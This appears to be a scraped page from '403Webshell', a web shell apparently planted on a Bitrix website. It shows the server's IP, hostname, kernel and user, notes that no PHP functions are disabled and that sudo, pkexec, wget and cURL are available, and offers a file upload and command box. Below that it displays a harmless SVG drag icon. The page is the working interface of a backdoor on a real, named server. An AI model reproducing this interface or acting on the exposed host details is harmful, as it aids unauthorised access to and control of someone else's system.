403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/rospirotorg.ru/bitrix/js/ui/icon-set/outline/images/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/rospirotorg.ru/bitrix/js/ui/icon-set/outline/images/drag-m.svg
<svg width="24" height="24" viewBox="0 0 24 24" fill="none" xmlns="http://www.w3.org/2000/svg">
<path d="M9.21376 5.34961C8.49973 5.34961 7.9209 5.92844 7.9209 6.64247C7.9209 7.35649 8.49973 7.93532 9.21376 7.93532C9.92778 7.93532 10.5066 7.35649 10.5066 6.64247C10.5066 5.92844 9.92778 5.34961 9.21376 5.34961Z" fill="#333333"/>
<path d="M9.21376 10.707C8.49973 10.707 7.9209 11.2859 7.9209 11.9999C7.9209 12.7139 8.49973 13.2927 9.21376 13.2927C9.92778 13.2927 10.5066 12.7139 10.5066 11.9999C10.5066 11.2859 9.92778 10.707 9.21376 10.707Z" fill="#333333"/>
<path d="M7.9209 17.3563C7.9209 16.6423 8.49973 16.0635 9.21376 16.0635C9.92778 16.0635 10.5066 16.6423 10.5066 17.3563C10.5066 18.0704 9.92778 18.6492 9.21376 18.6492C8.49973 18.6492 7.9209 18.0704 7.9209 17.3563Z" fill="#333333"/>
<path d="M14.785 10.707C14.071 10.707 13.4922 11.2859 13.4922 11.9999C13.4922 12.7139 14.071 13.2927 14.785 13.2927C15.4991 13.2927 16.0779 12.7139 16.0779 11.9999C16.0779 11.2859 15.4991 10.707 14.785 10.707Z" fill="#333333"/>
<path d="M13.4932 6.64247C13.4932 5.92844 14.072 5.34961 14.786 5.34961C15.5 5.34961 16.0789 5.92844 16.0789 6.64247C16.0789 7.35649 15.5 7.93532 14.786 7.93532C14.072 7.93532 13.4932 7.35649 13.4932 6.64247Z" fill="#333333"/>
<path d="M14.785 16.0635C14.071 16.0635 13.4922 16.6423 13.4922 17.3563C13.4922 18.0704 14.071 18.6492 14.785 18.6492C15.4991 18.6492 16.0779 18.0704 16.0779 17.3563C16.0779 16.6423 15.4991 16.0635 14.785 16.0635Z" fill="#333333"/>
</svg>

Youez - 2016 - github.com/yon3zu
LinuXploit